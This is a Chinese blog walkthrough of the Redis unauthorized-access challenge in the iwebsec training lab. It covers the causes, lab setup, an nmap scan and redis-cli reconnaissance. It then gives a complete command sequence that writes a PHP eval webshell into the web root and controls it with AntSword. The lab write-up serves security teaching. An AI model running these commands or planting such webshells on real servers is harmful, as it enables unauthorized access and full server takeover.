iwebsec靶场 数据库漏洞通关2-Redis数据库漏洞

news2024/12/22 0:22:19

iwebsec靶场的redis漏洞为未授权漏洞,如下所示。

一、Redis未授权漏洞原因

那么这个未授权漏洞的原理是什么呢?Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

简单说,漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务

二、渗透环境搭建

首先在自己的机器搭建渗透环境,Kali虚拟机系统作为攻击方,iwebsec的ubuntu虚拟机作为渗透靶场,为了保证两台机器可以互通,将两台虚拟机都设置为vmnet8的nat方式连接。

1.Kali系统作为攻击方配置环境

在进行渗透的过程中,使用Kali作为攻击主机,首先需要kali系统使用redis客户端连接到靶机的redis服务器,即攻击端需要安装redis客户端。

(1)Kali攻击主机环境配置

使用ifconfig -a命令获取ip地址,这里选择vmnet8网段的192.168.71.129

 这样如果靶机启动redis服务进程后,就可以使用测试攻击机Kali中的redis-cli程序和靶机的redis服务交互了。

(2)既然使用kali系统作为攻击主机,那么攻击机需要可以使用redis-cli程序来连接靶机的redis服务程序。于是需要使用apt-get install redis-server安装redis,为避免安装失败可以先进行update,如下所示

sudo apt-get update
sudo apt-get install redis-server -y

安装过程如下所示

(3) 安装成功后执行redis-cli -h确认安装是否成功

sudo redis-cli -h

 当展示出如下界面时,代表安装redis成功


 

 2.获取靶机Redis服务器的ip地址与开启的端口号

 (1)打开iwebsec虚拟机,通过ifconfig -a确认kali可以访问的同一网段的ip地址,如下所示这里选择使用vmnet8同一网段的ip地址192.168.71.151

(2)打开iwebsec靶场,如下所示关卡的最后一关为redis数据库漏洞

点开后效果如下,提示redis端口为6379,用户名密码为空,正好满足前面我们讲过的redis未授权漏洞存在的前提。

3.获取redis服务器的端口号

如上图所示,iwebsec实际上是使用docker搭建的,也就是说这个ubuntu虚拟机中通关docker搭建的iwebsec靶场。docker中开启的redis端口与这台ubuntu虚拟靶机之间具有端口映射关系,这个端口映射是一一对应关系。接下来要做的就是通过docker命令查询这个映射关系,以确定docker中的iwebsec在ubuntu中的端口号是什么

1)通过首先使用docker ps获取到容器的id

docker ps

运行结果如下,docker容器的id为bc23a49cb37c

 如上端口号中有0.0.0.0:6379->6379/tcp,也就是说docker容器中的3306端口号映射到ubuntu虚拟机的6379端口号,那么也就是说通过访问ubuntu的6379端口即可访问到靶机的Redis服务

2)在ubuntu iwebsec虚拟机中此时使用netstat -ano|grep 6379时

netstat -ano|grep 6379

如下显示出此端口已经打开

三、Redis渗透

1.Kali使用Nmap扫描靶机

我们在攻击机使用nmap尝试扫描靶机,命令如下

nmap 192.168.71.151 -p 6379

看看是否能扫描出redis服务端口号

2.Redis敏感信息获取

kali攻击机(模拟redis客户端)执行命令,

sudo redis-cli -h 192.168.71.151

 连接成功后在出现的交互界面中输入info

info

效果如下

 如上所示,直接获取到靶机redis服务的敏感信息

3.Redis上传webshell获取控制权

接下来打算在网站根目录下放置一个webshell

(1)在网站的根目录/var/www/html下写一个webshell脚本,配置方法为

config set dir /var/www/html

(2)脚本名称为shell.php

config set dbfilename shell.php

(3)脚本内容为<?php @eval($_POST['cmd']); ?>

set webshell "<?php @eval($_POST['cmd']); ?>"

综上整体渗透脚本为

sudo redis-cli   -h   192.168.71.151
config set dir /var/www/html
config set dbfilename shell.php
set webshell "<?php @eval($_POST['cmd']); ?>"
save

渗透交互如下所示

 (4)使用浏览器访问webshell,执行cmd=phpinfo()获取服务器的php信息,如下所示
由于webshell脚本被放到根目录中,故而webshell的url链接为 http://192.168.71.151/shell.php 
post参数为 cmd=phpinfo();

 如上所示渗透成功

(5)蚁剑验证webshell上传成功

如下所示,webshell的url链接为 http://192.168.71.151/shell.php 连接密码为cmd

 新增后效果如下,选择文件管理

如下所示,渗透成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/32552.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PreScan快速入门到精通第三十九讲基于车道线识别传感器的车道保持辅助算法Demo讲解

车道保持辅助系统介绍: 什么是车道保持辅助系统? 疲劳和分心是无意中偏离车辆行驶车道线的最常见原因。车道保持辅助系统主动帮助驾驶者将其车辆保持在车道内,避免或者降低事故的发生。 车道保持辅助系统使用一个前置的摄像头,一般安装在车内后视镜附近,用来检测车辆前方…

项目风险管理十大黄金法则!高质量项目管理必杀技!

随着新冠疫情的发生&#xff0c;在这个VUCA时代越来越多企业开始重视风险管理。其实项目风险管理的好处是巨大的&#xff0c;如果您以积极的方式处理不确定的项目事件&#xff0c;则可能赚很多钱或提前拿到现金流。结果是您可以最大程度地减少项目威胁的影响并抓住发生的机会。…

野火FPGA强化(1):串口

文章目录第31讲&#xff1a;串口RS232串口数据接收模块&#xff1a;Uart_rx串口数据发送模块&#xff1a;Uart_tx底层模块&#xff1a;rs232第32讲&#xff1a;使用SignalTap II嵌入式逻辑分析仪在线调试第33讲&#xff1a;串口RS485key_filterwater_ledbreath_ledled_ctrluart…

Linux 内存之vmstat

文章目录前言一、vmstat简介1.1 processes1.2 memory1.3 block IO1.4 System1.5 cpu activity二、使用步骤2.1 vmstat -a2.2 vmstat -f2.3 vmstat -m2.4 vmstat -s2.5 vmstat -d/D三、vmstat 数据来源参考资料前言 NAMEvmstat - Report virtual memory statisticsvmstat 报告有…

Gang Scheduling Performance Benefits for Fine-Grain Synchronization

Gang Scheduling Performance Benefits for Fine-Grain Synchronization 题目 什么是 gang secheduling &#xff1f; 组调度&#xff0c;要么一组全部执行&#xff0c;要么都不执行什么是 fine-grain 同步 &#xff1f;细粒度同步 CSDN 博客 摘要 gang scheduling, where …

SSM框架的基本整合

整合SSM框架要做哪些事情&#xff1a; SpringMVC: pom web.xml a. 前端调度器servlet b. 编码过滤器filter c. 支持rest的过滤器springmvc.xml a. 扫描controller包 b. 添加 c. 视图解析器 d. 静态资源解析添加控制器类… Spring:web.xml a. 监听器&#xff08;在启动web容器时…

Qt QHeaderView 添加复选框

有两种方法&#xff1a; 1. 重载paintSection 主要是重载paintSection和mousePressEvent这两个函数 headview.h #ifndef HEADERVIEW_H #define HEADERVIEW_H#include <QObject> #include <QHeaderView> #include <QPainter> #include <QCheckBox> …

后端进阶知识 Buffer pool 图文详解 之 free链表

Buffer pool 图文详解 之 free 链表 前言数据页缓存页描述信息初始化 Buffer poolfree 链表获取空闲页数据页是否缓存可关注专栏 》MySQL 进阶知识 收藏点赞加关注 前言 Buffer pool 是 InnerDB 存储引擎的一个重要组件&#xff0c;MySQL 的所有 CRUD 操作都是围绕 Buffer poo…

MariaDB 数据文件 迁移

1. 需求 原MariaDB采用默认安装&#xff0c;安装在/所在的分区下&#xff0c;现在该服务器的磁盘空间不补足了&#xff0c;现在扩展插入了一块新的磁盘&#xff0c;并且挂载到了/www/目录下&#xff0c;现在需要将原来的数据库数据迁移至该目录下。 2. 查询数据存储目录 首先…

预测足球世界杯比赛

目录 1. 下载数据集 2. 数据预处理 3. 模型训练与选择 4. 预测 1. 下载数据集 下载后数据如下&#xff1a; FIFA World Cup | Kaggle 2. 数据预处理 reprocess_dataset() 方法是数据进行预处理。预处理过的数据如下&#xff1a; save_dataset() 方法是对预处理过的数据&…

LibreOJ_10010

链接 点此跳转 思路 题目描述 有 nnn 个小朋友坐成一圈&#xff0c;每人有 aia_iai​ 颗糖果。 每人只能给左右两人传递糖果。每人每次传递一颗糖果的代价为 111 。 求使所有人获得均等糖果的最小代价。 分析 设 xix_ixi​ 表示第 iii 个朋友向第 i−1i-1i−1 个小朋友…

爬虫与云服务器云数据库

腾讯云轻量应用服务器TDSQL-MYSQL数据库PYTHON做爬虫 实现目标&#xff1a;轻量应用服务器上运行Python爬虫&#xff0c;把数据写到TDSQL-MYSQL数据库中。 最近双十一&#xff0c;趁着这一波福利&#xff0c;在腾讯云购买了一个轻量应用服务器和TDSQL-MYSQL版的数据库。买来之…

OpenGL学习

1.1&#xff0c;状态机-上下文-对象 GPU渲染流程 OpenGL自身是一个巨大的状态机(State Machine)&#xff1a;一系列的变量描述OpenGL此刻应当如何运行。 状态机&#xff1a;变量&#xff08;描述该如何操作&#xff09;的大集合 OpenGL的状态通常被称为OpenGL上下文(Contex…

异构图注意力网络Heterogeneous Graph Attention Network ( HAN )

文章目录前言一、基础知识1.异构图&#xff08;Heterogeneous Graph&#xff09;2.元路径3.异构图注意力网络二、异构图注意力网络1.结点级别注意力&#xff08;Node-level Attention&#xff09;2.语义级别注意力&#xff08;Semantic-level Attention&#xff09;总结前言 异…

微信商城小程序怎么开发_分享微信商城小程序的搭建

如何搭建好一个微信商城&#xff1f;这三个功能要会用&#xff01; 1.定期低价秒杀&#xff0c;提高商城流量 除了通过私域流量裂变&#xff0c;低价秒杀是为商城引流提高打开率的良好手段。 以不同节日作为嘘头&#xff0c;在情人节、38妇女节、中秋国庆、七夕节等日子&…

前端框架 Nuxtjs Vue3 SEO解决方案 SSR

目录 一、Nuxtjs安装 二、路由规则 三、公共布局 四、Vue3中TypeScript的使用 一、Nuxtjs安装 参考&#xff1a;Installation Get Started with Nuxt安装 - NuxtJS | Nuxt.js 中文网Installation Get Started with Nuxt yarn create nuxt-app <项目名> 项目运行…

GAMES101 作业0 环境配置 PC下简单配置i

前言 GAMES101提供了计算机图形学相关教学知识&#xff0c;闫教授及其团队也为大家准备了相应课程作业。课程作业部署在虚拟机上&#xff0c;以便免去环境部署的麻烦。但对于一些同学来说&#xff0c;还是希望直接在WIN的VS上使用并编码&#xff0c;本文对此进行简单说明。 环…

神经网络和深度学习-后向传播back propagation

后向传播back propagation 首先我们要了解&#xff0c;前向传播&#xff0c;损失函数这些前置知识&#xff0c;下面我们给出一张神经网络的图 反向传播通过导数链式法则计算损失函数对各参数的梯度&#xff0c;并根据梯度进行参数的更新 下面举个简单的例子 我们需要知道x,y,…

Linux C网络通信过程

socket函数、sockaddr_in结构体 和 bind函数 socket函数的作用是创建一个网络文件描述符&#xff0c;程序通过这个文件描述符将数据发送到网络&#xff0c;也通过这个文件描述符从网络中接受数据。观察一下socket函数&#xff1a; int listenfd; listenfd socket(AF_INET, S…

NNDL 作业11:优化算法比较

目录 1. 编程实现图6-1&#xff0c;并观察特征 2. 观察梯度方向 3. 编写代码实现算法&#xff0c;并可视化轨迹 4. 分析上图&#xff0c;说明原理&#xff08;选做&#xff09; 5. 总结SGD、Momentum、AdaGrad、Adam的优缺点&#xff08;选做&#xff09; 6. Adam这么好&…